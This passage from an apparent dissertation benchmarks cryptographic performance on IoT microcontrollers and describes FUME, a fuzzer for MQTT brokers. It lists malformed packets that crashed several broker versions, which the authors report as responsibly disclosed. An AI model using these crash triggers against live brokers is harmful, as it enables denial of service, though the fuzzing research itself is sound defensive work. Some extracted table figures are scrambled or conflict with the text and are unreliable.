processors. One example is Microchip's ATECC608A, which is a cryptographic co-processor 

with secure hardware-based key storage. It can store 16 keys, and supports ECDSA/ECDH, 

SHA-256 & HMAC, AES-128 and other features. Communicating with ATECC608A is done 

through either a GPIO (general-purpose input/output) pin or a standard Inter-Integrated Circuit 

(I2C) interface, which is a widely supported serial protocol. The ATECC608A incorporates the 

functions of two older chips: ATECC508A (ECC+HMAC) and ATAES132A (AES). We will 

also investigate the performance of the ATAES132A in our evaluation. 
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2.4 Evaluation 

In this Section, we present the results of evaluating the ESP32, ESP8266 (the predecessor to 

ESP32), CC3220, and Microchip's ATAES132A, ATECC508A, and ATECC608A (denoted as 

AES132, ECC508 and ECC608 thereafter). 

2.4.1 Experimental Setup 

We evaluate the following metrics: AES key generation, encryption, and decryption; ECC 

keypair generation, signature generation, and signature verification; HMAC computation; RSA 

keypair generation, signature generation, and signature verification; MQTT over SSL connection 

establishment and round-trip time (RTT) delay. MQTT is a lightweight IoT protocol so that 

devices and controllers can exchange messages through a broker/server. 

Figure 2.1 shows some of the development boards we use to program those modules. Note that 

the development board is a device that contains a chip such as the ESP32 and is used to evaluate 

the chip. For the ESP32, we use the HiLetgo ESP32 OLED WiFi Kit ($18.99 at Amazon) while 

one without the OLED display costs around $10.99 at Amazon and around $5 at AliExpress. The 

programming environment is Espressif IoT Development Framework (ESP-IDF), Arduino 

integrated development environment (IDE), or the Mongoose OS firmware development 

framework. For ESP8266, we use a NodeMCU development board (around $6.50 at Amazon). 

We program in Mongoose, running ESP8266 at 160MHz. For CC3220, we use TI's CC3220SF-

LAUNCHXL development board ($49.99 at TI) and run at 180 MHz. The programming 

environment is the Code Composer Studio (CCS) IDE. For ECC608, we use Microchip's Crypto 
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Kit UDFN Socketed XPRO Development Board ($85 at Microchip). The programming 

environment for the AES132 and ECC608 is Atmel Studio 7; additionally, these crypto chips can 

be programmed through the ESP32 or ESP8266. 

2.4.2 Summary of Measurement Results 

Table 2.2 shows the median of each operation. All metrics were performed 100 times on each 

chip. RSA is only implemented on the ESP32 to compare with ECC performance; this is due to 

the time cost of RSA keypair generation, which requires significantly large keys (2048 bits or 

more) for sufficient protection. Key generation is performed externally in the case of the 

Microchip MCUs involved. We can see that these results are satisfactory in various IoT settings. 

For example, the round-trip time of a short message between our devices and AWS IoT Core 

through the TLS tunnel has a median of less than 50 ms. Although the TLS connection 

establishment to the AWS IoT takes a median of 2.30 seconds for ESP32 and 0.699 seconds for 

CC3220, it is acceptable since the TLS connection can be reused and does not need to go through 

the full handshake protocol. For example, AWS IoT Core uses persistent TLS connections. 
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Table 2.2: Summary of cryptographic metrics for ESP32, CC3220, AES132A, ESP8266, and 

ECC608. Unit μs. 

Evaluation ESP32 

(240 

MHz) 

CC3220 

(180 

MHz) 

AES132A ESP8266 

(160 

MHz) 

ECC608 

Standalone 

ESP32 

with 

ECC608 

ESP8266 

with 

ECC608 

AES 

encryption 

4.05 38.8 10.0 * 103 153 6.10 * 103 N/A N/A 

AES 

decryption 

4.12 39.5 10.0 * 103 145 6.70 * 103 N/A N/A 

HMAC 154 45.1 N/A 182 25.9 * 103 N/A N/A 

ECC 

signature 

generation 

9.29 * 

104 

3.87 * 

105 

N/A 2.48 * 

105 

90.2 * 103 N/A N/A 

ECC 

signature 

verification 

3.32 * 

105 

7.09 * 

105 

N/A 6.97 * 

103 

45.1 * 103 N/A N/A 

RSA 

signature 

generation 

159 N?A N/A N/A N/A N/A N/A 

RSA 

signature 

verification 

2.27 * 

103 

N/A N/A N/A N/A N/A N/A 

MQTT 

connection 

establishment 

3.20 * 

106 

6.99 * 

105 

N/A 2.85 * 

106 

N/A 1.10 * 

106 

1.40 * 

106 

MQTT 

round-trip 

time 

3.99 * 

104 

4.79 * 

104 

N/A 8.32 * 

104 

N/A 5.90 * 

104 

5.22 * 

104 

 

2.4.3 AES, HMAC, ECC, and RSA 

We now show the box plots of these measurements. We first show the performance of AES key 

generation, encryption, and decryption. Figure 2.2 and Figure 2.3 showcase these results, 

respectively. We use a key size of 256 bits and cipher block chain (CBC), except in the cases of 

the ESP8266 and AES132. The input data size is 128 bits. ESP8266 only implements 128-bit 

AES operations due to RAM constraints, while the AES132 is restricted to the 128-bit key size 
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in Counter with CBC-MAC (CCM) mode. For all other chips, we choose to measure AES-256 in 

CBC mode because it is the same algorithm used to encrypt the flash contents on the ESP32. 

 

Figure 2.2: Time to perform AES 256-bit key generation 

For AES key generation, CC3220 performed approximately 226 µs faster than ESP32. For AES 

encryption and decryption, ESP32 performed faster than CC3220 and ESP8266 by a large 

margin. AES132A and ECC608 showed the worst performance around 10 ms for encryption and 

decryption. Encryption and Decryption operations performed considerably faster than key 

generation. 
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Figure 2.3: Time to perform AES encryption and decryption on 128-bit data 

Next, we measure HMAC, whose results can be seen in Figure 2.4. For ESP32, CC3220, and 

ESP8266, we use a key size of 112 bits, while the ECC608 uses a 256-bit key size due to 

hardware restrictions. All chips use the SHA-256 hash function. The final HMAC is 256 bits. 

Our tests indicate that ESP32 executes HMAC slower than CC3220 by approximately 100 µs. 

CC3220 showed the strongest performance at only 45.1 µs. The ECC608 performed the worst at 

25.9 ms. Similar to AES, all metrics, except the ECC608, are on the order of µs, likely due to 

SHA-2 hardware acceleration. 
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Figure 2.4: Time to perform HMAC-SHA256 with input size 120 bits and key size 112 bits. 

For ECC, we first use ECDH (Elliptic Curve Diffie-Hellman), followed by ECDSA (Elliptic 

Curve Digital Signature Algorithm) to generate and verify the digital signature. We use the 

SECP256R1 curve and a 256-bit sized key. ECC is particularly advantageous over RSA in terms 

of speed and key size. The results of ECC performance on the MCUs can be observed in Figure 

2.5 and Figure 2.6. ESP32 outperformed the CC3220 in all three benchmarks. 
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Figure 2.5: Time to perform ECC 256-bit key generation using SECP256R1 

The ESP8266 showcased a median run time of approximately 0.25 seconds for signature 

generation and 0.07 seconds for verification. It is observed that ECC operations are several 

orders of magnitude slower than AES and HMAC. This behavior is expected and well-

documented. 
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Figure 2.6: Time to perform ECC signature generation and verification. 

Next, we examine the performance of RSA with a 1024-bit key. We only focus on the 

performance of ESP32, to compare with ECC. Software-based RSA keypair generation would 

predictably run poorly on MCUs, due to the large key size. Even our 1024-bit key size, which is 

below NIST's recommended minimum key size of 2048 bits, is very time-consuming. 

Furthermore, the other chips in our evaluation do not appear to support RSA hardware 

acceleration; thus, we refrain from measuring their RSA performance. 
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Figure 2.7: Time to perform ECC 256-bit key generation versus RSA 1024-bit key generation 

Figure 2.7 and Figure 2.8 plot the results of RSA key generation, signature generation, and 

signature verification on the ESP32, in comparison to ECC. We continue to use the SHA-256 

hash function for consistency with ECC. RSA key generation variance was significant. ECC key 

generation performed faster and more consistently; however, RSA signature operations fared 

much better than ECC due to hardware acceleration. As expected, all operations fell on the order 

of seconds, with key generation performing at least ten times slower than signature operations in 

most cases. 
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Figure 2.8: Time to perform ECC and RSA signature generation and verification 

2.4.4 MQTT 

In our setup, we use the Amazon AWS IoT broker in the North Virginia region to measure 

MQTT connection establishment and round-trip delay. We publish messages with a quality of 

service (QoS) level of 1, ensuring that AWS will acknowledge our messages by responding with 

PUBACK message packets. The run times for ESP32, ESP8266, and CC3220 can be seen in 

Figure 2.9 and Figure 2.10. We also measure performance of these chips when leveraging the 

ECC608's hardware acceleration. 
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Figure 2.9: Time to establish a TLS session with AWS IoT Core 

For connection establishment time, CC3220 outpaced the ESP32 and ESP8266. The CC3220 

performed over three times faster than the ESP32 and over four times faster than the ESP8266. 

Without crypto acceleration, the ESP32 took approximately 2.3 seconds, while the ESP8266 

took about 2.85 seconds. The ECC608 performed at 1.1 seconds and 1.4 seconds, respectively. It 

is shown that on the tested chips, connection establishment time can take as little as one quarter 

of a second, although network lag can throttle performance by a considerable margin. 
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Figure 2.10: Round-trip delay of MQTT packets between the device and AWS IoT Core 

On the whole, the ESP32 showed the best performance for round-trip MQTT delay. The 

ESP8266 performed slightly worse than the other chips, and ECC608 did not appear to 

significantly impact the ESP32 or ESP8266 run times. Round-trip delay is predictably faster than 

connection establishment time, which is ideal for persistent TLS connections. 

2.5 Conclusion 

In this Chapter, we study modern MCUs and crypto co-processors including Espressif's ESP32, 

TI's CC3220 and Microchip's ATECC608A in terms of their cryptographic and networking 

operation performance. It can be observed that these MCUs and modules can provide satisfactory 

hardware security by disabling the I/O interfaces, system/firmware security through secure boot, 

network security through SSL/TLS (including mutual authentication that is required by Amazon 
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AWS IoT), and data security through flash/file encryption and Over-the-Air (OTA) firmware 

upgrade through wireless or HTTPS. The very low cost ATECC608A can be added to various 

MCUs and microprocessors as a crypto co-processor to secure the overall IoT system and meet 

the performance requirements of networking. 
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CHAPTER 3:  DISCOVERING VULNERABILITIES IN IOT SERVERS 

In this Chapter, we explore vulnerabilities in IoT servers, which directly impact a large number 

of IoT devices. As a case study, we investigate the software security of MQTT, a popular 

communication protocol used by millions of devices worldwide. The software security of MQTT 

server (“broker”) implementations is not well studied. Therefore, we design, implement, and 

evaluate a novel fuzz testing model for MQTT. The fuzzer combines aspects of mutation guided 

fuzzing and generation guided fuzzing to rigorously exhaust the MQTT protocol and identify 

vulnerabilities in servers. We introduce Markov chains for mutation guided fuzzing and 

generation guided fuzzing that model the fuzzing engine according to a finite Bernoulli process. 

We implement “response feedback”, a novel technique which monitors network and console 

activity to learn which inputs trigger new responses from the broker. In total, we found 7 major 

vulnerabilities across 9 different MQTT implementations, including 6 zero-day vulnerabilities 

and 2 CVEs. We show that when fuzzing these popular MQTT targets, our fuzzer compares 

favorably with other state-of-the-art fuzzing frameworks, such as BooFuzz and AFLNet.2 

3.1 Motivation 

MQTT is used many devices across the world [39], and it is estimated that 62% of all IoT 

solutions use MQTT [40]. It is often considered the “de-facto standard” for Internet of Things 

(IoT) communication due to its low overhead and immense popularity when compared to similar 

protocols such as CoAP [15] and AMQP [16]. Many implementations of MQTT have been 

 
2 The contents of this Chapter based on our publication to IEEE INFOCOM 2022 [107]. 
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developed since its inception, including software libraries for clients and servers on a range of 

hardware, Operating Systems, and cloud platforms [41]. Brokers may serve thousands of unique 

clients at any given time. 

MQTT security – in particular, the software security of broker/server implementations – has 

received little attention in the literature. Most works only focus on the lack of network security 

mechanisms in MQTT, such as authentication, access control, encryption, and integrity checking 

[41] [28] [29] [30]. On the other hand, software vulnerabilities of brokers are not nearly as 

represented in the literature. To our best knowledge, we observed only a single example which 

performs a comprehensive assessment of MQTT software security from the perspective of 

brokers [17]. Based on this research gap, we believe there is an urgent need to investigate the 

software security of MQTT brokers. 

One of the most prominent methods for software vulnerability discovery is fuzz testing, or 

simply fuzzing [42]. A fuzzing software (“fuzzer”) will generate pseudo-random or invalid test 

cases which are then sent to the target application. The fuzzer then observes the application 

behavior. Popular fuzzing frameworks for network applications include BooFuzz [43], Spike 

[44], and AFLNet [45]. In the context to IoT security, IoTFuzzer is a blackbox fuzzing model 

that performs dynamic analysis of mobile apps to learn how to communicate with remote IoT 

devices [12]. The model can achieve protocol guided fuzzing without intimate knowledge of the 

protocol itself. However, IoTFuzzer only targets software vulnerabilities in network clients. 
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In this paper, we develop a novel fuzzing model for MQTT brokers, called FUME. This fuzzer 

implements mutation guided and generation guided fuzzing techniques according to Markov 

models, which describe the state of each fuzzing iteration independently from past iterations.  

We show that each Markov model can be described as a finite Bernoulli process, since each 

direct transition can be considered a Bernoulli trial with a probability of transitioning to the next 

state, independent from other state transitions. We also implement “response feedback,” a 

technique where the fuzzer can listen to network activity and console output (i.e., stdout, stderr, 

or log files) from the broker. Inputs which trigger unique responses from the broker are saved 

and tested later. FUME requires no source code and does not need to run on the same system as 

the target broker. In total, we discovered 7 major vulnerabilities across 9 different broker 

implementations, including 6 0-day vulnerabilities. Among these vulnerabilities are 2 CVEs in 

Mosquitto [46], a very popular open-source MQTT platform developed by the Eclipse 

Foundation. 

The major contributions of this Chapter can be summarized as follows: 

• We discuss the principles of fuzz testing in terms of Markov modeling. Namely, we design 2 

Markov chains and derive a Bernoulli for modeling a mutation guided fuzzer and generation 

guided fuzzer. 

• We present FUME, a novel fuzzer that targets MQTT brokers. The fuzzer implements the 

aforementioned Markov models and leverages response feedback to dynamically select more 

intelligent inputs for mutation. 
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• We evaluate FUME against 9 different MQTT broker implementations. We discovered 7 

major bugs, include 6 zero-day vulnerabilities, and we generated 2 CVEs. We show that our 

fuzzer can detect these bugs favorably when compared to other state-of-the-art fuzzing 

frameworks. 

3.2 Background 

In this Section, we introduce the MQTT protocol and the principles of fuzz testing to the reader. 

3.2.1 MQTT 

MQTT is a lightweight communication protocol that is published under the open OASIS 

standard ISO/IEC 20922. It was designed to meet the networking requirements of resource 

constrained devices, such as embedded systems and IoT devices. MQTT typically runs over 

TCP, TLS, or WebSocket. In MQTT, clients connect to a central broker and can either publish 

messages or subscribe to topics. When a client publishes a message, it specifies a topic filter, and 

the broker must forward these messages to any clients which have subscribed to the same topic 

filter. The broker facilitates all communication between clients, addresses session requirements, 

and authenticates clients. MQTT versions 3 and 3.1 only support password-based authentication, 

while version 5 supports the AUTH packet that can carry user-defined authentication data. Other 

security requirements such as confidentiality and integrity must be implemented by the 

application. 

MQTT supports 15 different packet types called control packets. These include CONNECT; 

CONNACK; PUBLISH; PUBACK; PUBREC; PUBREL; PUBCOMP; SUBSCRIBE; 
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SUBACK; UNSUBSCRIBE; UNSUBACK; PINGREQ; PINGRESP; DISCONNECT; and 

AUTH. All MQTT packets contain the same general structure, which is illustrated in Figure 3.1. 

Namely, each packet begins with a fixed header, which identifies the control packet type and 

specifies the length of the packet; a variable header, which lists some features of the packet; and 

the payload, which contains the payload of the message. 

 

Figure 3.1: MQTT packet structure. The “Properties” field only exists in MQTT version 5. The 

“Will Properties” field only exists in CONNECT packets in MQTT version 5. 

Depending on the control packet type, the variable header and the payload may be optional or 

required, while the fixed header is always required. Version 5 of MQTT also supports a 

properties sub-header, containing a list of optional properties. The properties sub-header exists at 

the end of the variable header. The CONNECT packet may also specify a will topic and a will 

payload. This payload is published to all subscribers of the will topic if the client ever 

disconnects unexpectedly – e.g., the client did not send the DISCONNECT packet before closing 

the connection. In MQTT version 5, the will information includes a will properties field within 

the CONNECT payload. The name, identifier, and purpose of each control packet is shown in 

Table 3.1. 
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Table 3.1: Summary of MQTT control packets. The AUTH packet is only available in MQTT 

version 5. 

Name Identifier Purpose 

CONNECT 0001 Request to connect to the broker 

CONNACK 0010 Acknowledge the CONNECT 

PUBLISH 0011 Send a message to subscribed clients 

PUBACK 0100 Acknowledge the PUBLISH (QoS 1) 

PUBREC 0101 Acknowledge the PUBLISH (QoS 2) 

PUBREL 0110 Acknowledge the PUBREC (QoS 2) 

PUBCOMP 0111 Acknowledge the PUBREL (QoS 2) 

SUBSCRIBE 1000 Request to subscribe to a topic filter 

SUBACK 1001 Acknowledge the SUBSCRIBE 

UNSUBSCRIBE 1010 Stop listening to a topic filter 

UNSUBACK 1011 Acknowledge the UNSUBSCRIBE 

PINGREQ 1100 Ping the broker 

PINGRESP 1101 Acknowledge the PING 

DISCONNECT 1110 Request to disconnect 

AUTH 1111 Exchange authentication data 

 

3.2.2 Fuzz Testing 

To discover vulnerabilities in software, a fuzzer will generate pseudo-random or invalid test 

cases which are then sent to the target application; the fuzzer then observes the application 

behavior. If the application exhibits odd behavior, or crashes, then it is highly possible that a new 

vulnerability has been discovered; the researcher can then investigate this vulnerability more 

deeply. Fuzzers can be classified according to three factors: fuzzing method, target knowledge, 

and vulnerability detection capabilities. 

Fuzzing Method. There are two primary fuzzing methods: generation-guided fuzzing and 

mutation-guided fuzzing. In generation-guided fuzzing, data is generated randomly or from a 

user-defined model; for example, in protocol-guided fuzzing, data is generated according to the 

protocol structure. This fuzzing method is appropriate when the user has a complete 
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understanding of the syntax and semantics of the target protocol. In mutation-guided fuzzing, 

payloads are sampled from a corpus of valid data inputs and fuzzed. This is appropriate when the 

fuzzer tracks the state space of the target and logs inputs when the target reaches new states. 

Furthermore, mutation-guided fuzzing may be useful if the target protocol is not well 

understood, or if the protocol implementation differs from the specification. Another method, 

genetic fuzzing, may use either fuzzing method and apply genetic algorithms based on behavior 

exhibited from the target. 

Target Knowledge. Depending on the knowledge of the target, a fuzzer might be classified as a 

blackbox fuzzer, a whitebox fuzzer, or a greybox fuzzer. A blackbox fuzzer has no knowledge of 

the target specification and can only see what is directly observable. A whitebox fuzzer is 

completely aware of the target’s internal structure and may have access to its source code and 

specification. A greybox fuzzer has some knowledge of the specification and may use 

instrumentation or dynamic taint analysis to track the target’s control flow and state space. 

Vulnerability Detection Capabilities. To detect vulnerabilities in targets, a fuzzer may employ 

several techniques. For instance, the target may send an unexpected or malformed response, 

which can indicate a logical bug [12] [47]. The target may also hang, i.e., the connection will 

remain open but the target never sends a response [48]. Finally, the target may crash and close 

the connection; this behavior is almost universally observed by all fuzz testing frameworks [43] 

[12] [47] [48] [49] [50]. A program crash may indicate a severe vulnerability such as memory 

corruption, which can be further exploited and potentially lead to compromise of the host system. 
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3.3 Fuzz Testing Using Markov Modeling 

In this Section, we introduce the principles of mutation-guided fuzzing and generation-guided 

fuzzing in terms of two Markov models. We show that the models implement a finite Bernoulli 

process which describes the probabilistic behavior of input generation and payload fuzzing. We 

refer to the implementation of these models as the “mutation guided fuzzing engine” and 

“generation guided fuzzing engine”. The models are illustrated by Figure 3.2. 

 

Figure 3.2: Markov chains for describing mutation guided fuzzing and generation guided 

fuzzing. 

3.3.1 Mutation Guided Fuzzing 

The mutation guided fuzzing engine depends on the existence of an input corpus of semantically 

valid test cases. This engine can be broken down into two distinct phases: a construction phase 

and a fuzzing phase. In the construction phase, new packets are appended from the input corpus 

to the payload. In the fuzzing phase, the fuzzing engine can manipulate the payload using the 

byte-granular methods of injection, deletion, and mutation. The effects of these methods are as 



47 

 

follows: Injection inserts new bytes into the payload; Deletion removes bytes from the payload; 

and Mutation changes the value of some bytes in the payload. Figure 3.3 illustrates the principle 

of each method using an MQTT SUBACK control packet with value 9003b80f07. 

 

Figure 3.3: Distinct payload manipulation methods described by FUME. The fuzzer can inject, 

delete, or mutate bytes in the payload. 

The mutation guided fuzzing procedure can be modeled by a Markov chain, which is illustrated 

in Figure 3.2 (left). The model describes a single iteration of the fuzzing engine. The nodes 

represent states in the fuzzing engine, and the arcs represent probabilistic transitions; the 

transition probabilities are labeled next to their corresponding transitions. State S0 represents the 

initial state of the fuzzing engine. State S1 represents the construction phase. State S2 represents 

the fuzzing phase. Finally, state Sf is the final state and concludes the current iteration of the 

fuzzing engine. 

In the initial state S0, the fuzzing engine may either transition to the construction phase, or it may 

select a payload from the response log. The response log is explained further in Section 3.4.2; 

broadly speaking, it describes the set of test cases which have been added to the input corpus, 
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i.e., those test cases which were not part of the original input corpus. The probability of selecting 

from the response log is b. 

In the construction phase, the fuzzing engine randomly selects control packets from the input 

corpus. The probability of selecting CONNECT is c1, CONNACK is c2, etc. The sum of these 

probabilities is 1, i.e., 

∑ 𝑐𝑖 = 1

15

𝑖=0

 

While the fuzzing engine is in state S1, it has a X1 probability of directly transitioning to state S2, 

i.e., the fuzzing phase, and a 1 - X1 probability of selecting a new packet to append to the 

payload. In the model, appending a new packet is represented by the states Add CONNECT, Add 

CONNACK, and so forth. Based on the packet selection probabilities ci | i ∈ (1, 2, ..., 14, 15) and 

the probability of appending a new packet 1 - X1, the overall probability of adding a specific 

packet is ci - ciX1 | i ∈ (1, 2, ..., 14, 15). 

In the fuzzing phase, the fuzzing engine can either transition to the Inject state, Delete state, or 

Mutate state, or it can transition to a Send state, which sends the fuzzed payload to the broker. 

The Inject state can transition to a BOF state or a Non-BOF state. In the former state, many bytes 

are inserted into the payload in an attempt to trigger a buffer overflow attack. In the latter state, 

the fuzzing engine only injects a small number of bytes – in the implementation, the number of 

injected bytes can never exceed the length of the original payload. The fuzzing states Inject, 

Delete, and Mutate have probabilities d1, d2, and d3, respectively, such that d1 + d2 + d3 = 1. The 

state BOF has probability d4. 
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The probability of directly transitioning to the Send state is X2. Based on the fuzzing state 

probabilities and the probability of transitioning to the Send state, the overall probability of 

choosing a specific fuzzing state is di - diX2 | i ∈ (1, 2, 3). 

Finally, in the Send state, the fuzzing engine has a X3 probability of transitioning to Sf and ending 

the current fuzzing iteration. Otherwise, there is a 1 - X3 probability to return to S2 and restore 

the payload obtained from the construction phase. 

3.3.2 Generation Guided Fuzzing 

Generation-guided fuzzing depends on deep knowledge of the protocol to generate semantically 

valid test cases. Figure 3.2 (right) illustrates the Markov model for generation guided fuzzing. 

The fuzzer generates a CONNECT packet first before generating other packets at random. Steps 

S0 and S1 comprise the payload generator component. Step S2 performs the actual fuzzing 

operation. For simplicity, we have condensed the Inject, Delete, and Mutate states into a single 

I/D/M state. The probabilities for state transitions S2 → Send, S2 → I/D/M, Send → S2, and Send 

→ Sf are consistent between both models. In fact, both models are identical once state S2 is 

reached, because the actual fuzzing of the payload is independent from how to obtain that 

payload. 

3.3.3 Markov Modeling as a Bernoulli Process 

Since each state transition depends solely on its transition probabilities, and each probability is 

assumed to be random, then we may also demonstrate each Markov model as a finite Bernoulli 

process [51]. Namely, we can describe each Markov chain as a sequence: 
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⋃ 𝑋𝑠1→𝑠𝑗

𝑆

𝑖,𝑗
| 𝑠𝑖, 𝑠𝑗 ∈ 𝑆 

In the sequence, S is the set of states in the Markov model and si → sj describes a direct 

transition from state si to state sj. Each state transition si → sj is a Bernoulli trial with Bernoulli 

variable Xij = X(si → sj). The probability of the fuzzing engine transitioning from state si to state sj 

is pXij . This value is simply the probability value given for that corresponding transition in 

Figure 3.2. 

3.4 FUME: A Fuzzer for MQTT Brokers 

In this Section, we present FUME, a generation-and-mutation guided fuzzer for MQTT brokers. 

We first introduce the architecture of our fuzzing model. We then discuss each component of the 

architecture. 

3.4.1 Overview: Architecture 

First we introduce a high-level overview of FUME, which can be seen in Figure 3.4. There are 

five major components to the modeled architecture: the central component (simply called 

“FUME”), the user-defined parameters, the payload generator, the user filesystem, and the 

broker. 
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Figure 3.4: An overview of FUME’s fuzzing architecture. 

The role of each component can be briefly summarized as follows: 

• Central component (“FUME”): This contains the two fuzzing engines. It also handles 

communication and response monitoring from the target broker. 

• User-defined parameters: Allows the user to configure aspects of the fuzzer, such as the 

probabilistic values X1, X2, and X3. 

• Payload generator: Generates a sequence of syntactically valid control packets from scratch. 

• Filesystem: Stores the input corpus and logs more test cases when new responses are 

observed from the broker. 

• Broker: The target broker. May be local or remote. 



52 

 

3.4.2 The Central Component 

The central component “FUME” handles three tasks, each of which is handled by a sub-

component. The first task is to alternate (perhaps randomly) between running the mutation 

guided fuzzing engine and the generation guided fuzzing engine. These engines implement the 

Markov models described in Section 3.3. During mutation-guided fuzzing, the engine will access 

the filesystem component for appending new control packets to the payload or selecting inputs 

from the response log. During generation-guided fuzzing, the engine will access the payload 

generator component to perform the actual generation of control packets. The second task is to 

establish a connection with the target broker and send fuzzed inputs over to the target. The Send 

state in the model defers responsibility to this sub-component to handle the connection 

requirements. The third task is to listen for network responses and console responses and log 

them to the filesystem if necessary. The logging operation accesses the filesystem component. 

Response Feedback. FUME monitors two major types of activity from the target broker: 

network response and console response. Network responses comprise the MQTT packets sent 

from the broker to the client. Console responses refer to the standard out and standard error file 

descriptors of the broker. When a unique response is observed by the fuzzer, the payload which 

triggered this response is logged to the filesystem. These payloads can be fuzzed by the mutation 

guided fuzzing engine later on. This behavior is modeled by the mutation guided Markov chain, 

in the transition from initial state S0 to the state Select From Response Log. Note that if the 

broker runs remotely, then console output will not be accessible on the local filesystem. 

However, some cloud platforms record console activity from running software – e.g., AWS 
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CloudWatch [52] – which can be leveraged in this case. The fuzzer can always observe network 

responses. 

A pitfall to response feedback is that responses may be redundant. For example, a CONNACK 

packet from the broker can contain an assigned client identifier, which may be randomly 

generated; then each CONNACK packet contains no real new information despite technically 

being unique. To address this drawback, we implemented a packet parser that can accurately 

derive each field in the payload from the broker. FUME monitors the fields that contain only a 

concise number of possible values (we call these fields “interesting”), and it ignores those 

redundant fields described above. When the broker sends a response that contains a new set of 

interesting fields, the response is considered unique, and it is logged to the filesystem. 

However, the packet parser can only derive fields from network responses, but not from console 

responses. To limit redundancies in console response, we implemented a similarity threshold that 

ignores responses which are too similar to past responses. The threshold value is a percentage 

value defined by the user. For instance, a threshold of 75% means that console responses will not 

be logged if they are at least 75% similar to any previously logged response. We evaluate the 

impact of the similarity threshold on our fuzzer in Section 3.5.4. 

3.4.3 User-defined Parameters 

The fuzzer accepts several values from the user-defined parameters component which will 

influence its behavior. Fuzzing intensity, denoted as fi, is a percentage value that indicates what 

percentage of bytes should be fuzzed in a packet. For instance, a fuzzing intensity of 50% means 

that up to 50% of a payload should be fuzzed. Fuzzing intensity also determines how frequently 
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a payload should be fuzzed in one iteration of the fuzzing engine, i.e., how long the model 

should remain in state S2. Construction intensity, denoted as ci, is a non-negative integer 

indicating the desired number of packets in a payload sequence. For example, a construction 

intensity of 7 means that, on average, the payload shall be constructed of 7 distinct MQTT 

packets (it is only an average due to the stochastic property of the model). This sequence always 

begins with a CONNECT packet. 

For a user who wants to employ FUME without worrying about the details of the Markov model, 

the concepts of fuzzing intensity and construction intensity parameters may be more intuitive, 

while the Markov model may not be. To solve this issue, we offer a simple method to map fi and 

ci to X1, X2, and X3. We assume the states of selecting/generating packets have discrete uniform 

distribution, i.e., b = 1 2⁄  and ci = 1 15⁄  | i ∈ (1, 2, ..., 14, 15). We assume the same for the 

fuzzing states, i.e., di = 1 3⁄  | i ∈ (1, 2, 3), and d4 = 1 2⁄ . Note that in our implementation of 

FUME, all parameters and variables can be configured directly by the user, including X1, X2, and 

X3. Our mapping is defined as follows 

𝑋1 =
1

𝑐𝑖
 

𝑋2 = 1 − 𝑓𝑖 

𝑋3 = 1 − 2log (1 + 𝑓𝑖) 
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3.4.4 Payload Generator 

To meet the requirements of generation-guided fuzzing, the payload generator component can 

generate valid payloads for each of the 15 MQTT control packets. The following pseudocode 

how the payload generator will construct a CONNECT packet, i.e., state Generate Connect in the 

Markov model: 

fixed_header.ID = 0x10 

variable_header.name = “MQTT” 

variable_header.version = protocol_version 

variable_header.flags.username = random(0, 1) 

variable_header.flags.password = random(0, 1) 

variable_header.flags.will_retain = random(0, 1) 

variable_header.flags.will_qos = random(0, 2) 

variable_header.flags.will_flag = random(0, 1) 

variable_header.keepalive = random(0, 0xffff) 

if protocol_version == 5 then: 

   variable_header.properties = random_properties() 

payload.clientid = random_string() 

if variable_header.flags.will_flag == 1 then: 

   if protocol_version == 5 then: 

      payload.will_properties = random_properties() 

   payload.will_topic = random_string() 

   payload.will_payload = random_string() 

if variable_header.flags.username == 1 then: 

   payload.username = random_string() 

packet_length = variable_header.length + payload.length 

fixed_header.remaining_length = packet_length 

packet = fixed_header + variable_header + payload 

return packet 

3.4.5 The Filesystem 

The user’s filesystem stores the input corpus and the crash log. Payloads which trigger unique 

network or console responses from the broker – according to the similarity threshold – are also 
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logged into the filesystem. In future iterations, these inputs are accessed by the mutation guided 

fuzzing engine so that they may be fuzzed. 

3.5 Evaluation 

In this Section, we present our vulnerability findings and discuss the details of each vulnerability. 

We compare the vulnerability discovery speed of our fuzzer to three other popular fuzzing 

frameworks. We also discuss how mutation guided fuzzing compares to generation guided 

fuzzing. Finally, we explore the efficiency of response feedback across 3 different brokers for 

different similarity threshold values. 

3.5.1 Experimental Setup 

Software/Hardware. Our fuzzer is written in Python 3. All experiments are conducted in a Kali 

Linux 2021.1 virtual machine, which was allocated with 8 GB of RAM and 4 processor cores. 

The host machine is a Dell XPS 15 9570 laptop with Intel Core i7-8750H CPU. 

User-defined Parameters. For all experiments except where indicated, the fuzzing intensity and 

construction intensity was fixed at 0.1 and 3, respectively. This means X1 was set to 0.33, X2 was 

set to 0.9, and X3 was set to 0.917. Other Markov variables have discrete uniform distribution, as 

explained in Section 3.4.3. 

Input Corpus. The predefined input corpus was collected systematically by connecting a client 

to the Mosquitto, HiveMQ, and VerneMQ brokers and collecting MQTT traffic using Wireshark. 
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The inputs are stored in the filesystem. In total, we collected 50 distinct MQTT packets to seed 

the initial corpus. 

Targets. In total, we tested FUME against 9 different MQTT broker implementations, including 

Mosquitto [46], HiveMQ [53], VerneMQ [54], aedes [55], EMQX [56], KMQTT [57], mqttools 

[58], hrotti [59], and moquette [60]. We fuzzed each broker for approximately 12 hours using a 

combination of the mutation guided fuzzing engine and generation guided fuzzing engine. Table 

3.2 shows the version number of each broker as well as the programming language that the 

broker was written in. Note that hrotti does not have an official version number, so we just report 

the commit ID from GitHub. 

Table 3.2: List of MQTT brokers tested under FUME. 

Broker Version Language 

Mosquitto 2.0.7 C 

HiveMQ 2021.1 Java 

VerneMQ 1.11.8 Erlang 

aedes 0.45 JavaScript 

EMQX 4.3.3 Erlang 

KMQTT 0.2.5 Kotlin 

mqttools 0.47.0 Python 

hrotti 087b33bb Go 

moquette 0.16 Java 

 

3.5.2 Vulnerability Findings 

In total, our fuzzer discovered 7 vulnerabilities, including 6 zero-day vulnerabilities and 1 n-day 

vulnerability. All vulnerabilities result in immediate termination of the broker, causing denial-of-

service. Aside from hrotti, which has abandoned development since 2017, all vulnerabilities have 
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been reported to the developers and patched due to our responsible disclosure. Table 3.3 lists the 

complete set of crashes and a brief error summary. More details follow. 

Table 3.3: A summary of crashes found using FUME. 

Index Broker Zero-day? Error Summary 

0 Mosquitto Yes Malformed CONNACK in MQTT v5 

1 Mosquitto Yes PUBLISH topic length = 0 

2 KMQTT Yes Broken pipe error 

3 Aedes Yes Malformed DISCONNECT 

4 Hrotti Yes Malformed PUBLISH 

5 Hrotti Yes UNSUBSCRIBE topic length = 0 

6 hrotti No Malformed CONNECT 

 

Mosquitto. We discovered two vulnerabilities in Mosquitto version 2.0.7. The first vulnerability 

occurs in MQTT v5 when an authenticated client sends a malformed CONNACK control packet, 

